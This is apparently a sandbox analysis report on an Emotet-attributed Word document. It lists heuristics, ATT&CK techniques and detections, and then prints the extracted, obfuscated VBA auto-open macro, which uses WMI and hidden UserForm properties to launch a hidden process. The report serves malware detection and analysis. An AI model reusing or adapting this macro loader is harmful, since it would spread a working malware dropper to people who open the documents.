MALICIOUS
262
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1203 Exploitation for Client Execution
The sample contains VBA macros, including a Document_Open auto-execution macro and a hidden UserForm command stager, which are hallmarks of Emotet. The script uses obfuscation techniques like string concatenation and loops to hide its true functionality, which is to execute a second-stage payload. The ClamAV detection name further supports the Emotet family attribution.
Heuristics 7
-
ClamAV: Doc.Malware.Emotet-9271518-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Emotet-9271518-1
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGERVBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4248 bytes |
SHA-256: ceba25a430281d4e39e75f85bb64aaaf3331763b2831ad5995ff09c7af0dba6e |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ROKWRtnklpojknjipe"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
YFNZSpyuxxwj.SPFDRewmqfdtragn
End Sub
Attribute VB_Name = "YFNZSpyuxxwj"
Attribute VB_Base = "0{8EE42643-A240-4B4E-95E5-5770BD989762}{303F45D1-DD39-49D4-A2C2-E33F208F9759}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function SPFDRewmqfdtragn()
Dim AFH As Integer
AFH = 3
Do While AFH < 3 + 3
AFH = AFH + 2: DoEvents
Loop
Dim SkQD As Currency
JFEPXfckbvoqhcjdl = YFNZSpyuxxwj.Zoom
Dim PFGLM As Integer
PFGLM = 4
Do While PFGLM < 4 + 4
PFGLM = PFGLM + 3: DoEvents
Loop
XSODMcafbyfdlpffs = ChrW(JFEPXfckbvoqhcjdl + ((30 + 60 + 30) / (4 + 4)))
Dim p1Èck3ÃQU As Date
SCWTPxdhdfurxycnk = "920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjhw920jG&2(nbsjg uiyqGb2234%42bjhi920jG&2(nbsjg uiyqGb2234%42bjhnm920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjhgm920jG&2(nbsjg uiyqGb2234%42bjht920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjh" + XSODMcafbyfdlpffs + "920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjh:920jG&2(nbsjg uiyqGb2234%42bjhw920jG&2(nbsjg uiyqGb2234%42bjhin920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjh3920jG&2(nbsjg uiyqGb2234%42bjh2920jG&2(nbsjg uiyqGb2234%42bjh_920jG&2(nbsjg uiyqGb2234%42bjh" + YFNZSpyuxxwj.DLWIJfrtgfpxmv + "920jG&2(nbsjg uiyqGb2234%42bjhro920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjhce920jG&2(nbsjg uiyqGb2234%42bjhs920jG&2(nbsjg uiyqGb2234%42bjhs920jG&2(nbsjg uiyqGb2234%42bjh"
Dim tqSQH3Í As Integer
tqSQH3Í = 3
Do While tqSQH3Í < 3 + 6
tqSQH3Í = tqSQH3Í + 6: DoEvents
Loop
GSEPEvmlhrge = GCUKKzyhqdiey(SCWTPxdhdfurxycnk)
Dim JtF1ÔVIsgfW As Variant
Set PDJFTupbrqqhmqz = CreateObject(GSEPEvmlhrge)
Dim r4ÖKHihX As Integer
r4ÖKHihX = 9
Do While r4ÖKHihX < 9 + 5
r4ÖKHihX = r4ÖKHihX + 7: DoEvents
Loop
PTVAYssttcoeepu = YFNZSpyuxxwj.IUUGRtfamonxtfhw.ControlTipText
Dim aKHZFGTowB As Currency
XEMWWgirqgck = m2m3b5 + (GSEPEvmlhrge + XSODMcafbyfdlpffs + YFNZSpyuxxwj.QUJCNutbanoo.ControlTipText + PTVAYssttcoeepu)
Dim fIspInaCW As String
NTJKAbvsbcnznmd = XEMWWgirqgck + YFNZSpyuxxwj.DLWIJfrtgfpxmv
Dim n8ÈRMOqNXp As Integer
n8ÈRMOqNXp = 4
Do While n8ÈRMOqNXp < 4 + 4
n8ÈRMOqNXp = n8ÈRMOqNXp + 1: DoEvents
Loop
Set EPPHIzlwmlpe = NKESSzligonk(NTJKAbvsbcnznmd)
Dim K0ÏyYuGKEqS As Currency
pppp1n1b = Array(ns123v4 + "jbjksgui qguw egq wuieg qbnmasm", PDJFTupbrqqhmqz. _
Create(PMPZEddrdnhwes, TJGPPtnzybzpuobqxf, EPPHIzlwmlpe), masb1 + ",jha ghauig qugq bbbs")
Dim LRhpI5ÓslYA As Double
End Function
Function PMPZEddrdnhwes()
n21bh3 = YFNZSpyuxxwj.DVIYAobujsnht.Pages(vbOK).Caption
PMPZEddrdnhwes = GCUKKzyhqdiey(n21bh3)
dgKyIcWY = 7
Do While dgKyIcWY < 7 + 1
dgKyIcWY = dgKyIcWY + 1: DoEvents
Loop
End Function
Function NKESSzligonk(QEYVWyfqhtlzmb)
Dim AFH As Integer
AFH = 3
Do While AFH < 3 + 3
AFH = AFH + 2: DoEvents
Loop
Dim SkQD As Currency
Dim PFGLM As Integer
PFGLM = 4
Do While PFGLM < 4 + 4
PFGLM = PFGLM + 3: DoEvents
Loop
Set NKESSzligonk = CreateObject(QEYVWyfqhtlzmb)
Dim WbU1Ïq As Integer
WbU1Ïq = 1
Do While WbU1Ïq < 1 + 4
WbU1Ïq = WbU1Ïq + 1: DoEvents
Loop
NKESSzligonk. _
showwindow = YOHPXanqyckkxg + ICRMMbosszbxboe
Dim UMbU As Object
End Function
Function GCUKKzyhqdiey(VTVXSrbbnfcc)
MKFFSqymowsoojjxu = VTVXSrbbnfcc
Dim ZvdC As Currency
SPFINjawdrjdwjg = Split _
(MKFFSqymowsoojjxu, "920jG&2(nbsjg uiyqGb2234%42bjh")
Dim Hih4å As Integer
Hih4å = 5
Do While Hih4å < 5 + 7
Hih4å = Hih4å + 6: DoEvents
Loop
TSGYIdrzfcifhmkgu = mmm2 + Join(SPFINjawdrjdwjg, msnj2)
Dim r4áAANisy As Integer
r4áAANisy = 4
Do While r4áAANisy < 4 + 5
r4áAANisy = r4áAANisy + 6: DoEvents
Loop
GCUKKzyhqdiey = T
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.